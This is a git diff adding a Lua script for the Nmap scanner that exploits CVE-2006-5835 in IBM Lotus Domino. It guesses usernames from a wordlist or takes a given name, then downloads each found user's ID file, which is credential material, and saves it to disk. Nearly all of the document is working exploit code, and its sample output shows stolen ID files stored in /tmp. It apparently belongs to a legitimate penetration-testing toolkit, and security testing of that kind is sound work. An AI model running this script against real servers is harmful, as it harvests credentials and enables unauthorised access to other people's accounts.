diff options
Diffstat (limited to '')
-rw-r--r-- | scripts/domino-enum-users.nse | 135 |
1 files changed, 135 insertions, 0 deletions
diff --git a/scripts/domino-enum-users.nse b/scripts/domino-enum-users.nse new file mode 100644 index 0000000..62a54ab --- /dev/null +++ b/scripts/domino-enum-users.nse @@ -0,0 +1,135 @@ +local io = require "io" +local nrpc = require "nrpc" +local shortport = require "shortport" +local stdnse = require "stdnse" +local stringaux = require "stringaux" +local table = require "table" +local unpwdb = require "unpwdb" + +description = [[ +Attempts to discover valid IBM Lotus Domino users and download their ID files by exploiting the CVE-2006-5835 vulnerability. +]] + +--- +-- @usage +-- nmap --script domino-enum-users -p 1352 <host> +-- +-- @output +-- PORT STATE SERVICE REASON +-- 1352/tcp open lotusnotes +-- | domino-enum-users: +-- | User "Patrik Karlsson" found, but not ID file could be downloaded +-- | Successfully stored "FFlintstone" in /tmp/FFlintstone.id +-- |_ Successfully stored "MJacksson" in /tmp/MJacksson.id +-- +-- +-- @args domino-enum-users.path the location to which any retrieved ID files are stored +-- @args domino-enum-users.username the name of the user from which to retrieve the ID. +-- If this parameter is not specified, the unpwdb +-- library will be used to brute force names of users. +-- +-- For more information see: +-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026 +-- +-- Credits +-- ------- +-- o Ollie Whitehouse for bringing this to my attention back in the days when +-- it was first discovered and for the c-code on which this is based. + +-- +-- Version 0.1 +-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> +-- + +author = "Patrik Karlsson" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} + + +portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open") + +--- Saves the ID file to disk +-- +-- @param filename string containing the name and full path to the file +-- @param data contains the data +-- @return status true on success, false on failure +-- @return err string containing error message if status is false +local function saveIDFile( filename, data ) + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + if ( not(f:write( data ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + f:close() + + return true +end + +action = function(host, port) + + local helper = nrpc.Helper:new( host, port ) + local status, data, usernames, err + local path = stdnse.get_script_args(SCRIPT_NAME .. ".path") + local result = {} + local save_file = false + local counter = 0 + local domino_username = stdnse.get_script_args(SCRIPT_NAME .. ".username") + if ( domino_username ) then + usernames = ( function() + local b = true + return function() + if ( b ) then + b=false; + return domino_username + end + end + end )() + else + status, usernames = unpwdb.usernames() + if ( not(status) ) then + return false, "Failed to load usernames" + end + end + + for username in usernames do + status = helper:connect() + if ( not(status) ) then + err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip ) + break + end + + status, data = helper:isValidUser( username ) + helper:disconnect() + + if ( status and data and path ) then + local filename = path .. "/" .. stringaux.filename_escape(username .. ".id") + local status, err = saveIDFile( filename, data ) + + if ( status ) then + table.insert(result, ("Successfully stored \"%s\" in %s"):format(username, filename) ) + else + stdnse.debug1("%s", err) + table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) ) + end + elseif( status and data ) then + table.insert(result, ("Successfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) ) + elseif ( status ) then + table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) ) + end + + counter = counter + 1 + end + + if ( #result == 0 ) then + table.insert(result, ("Guessed %d usernames, none were found"):format(counter) ) + end + + result = stdnse.format_output( true, result ) + if ( err ) then + result = result .. (" \n %s"):format(err) + end + + return result +end |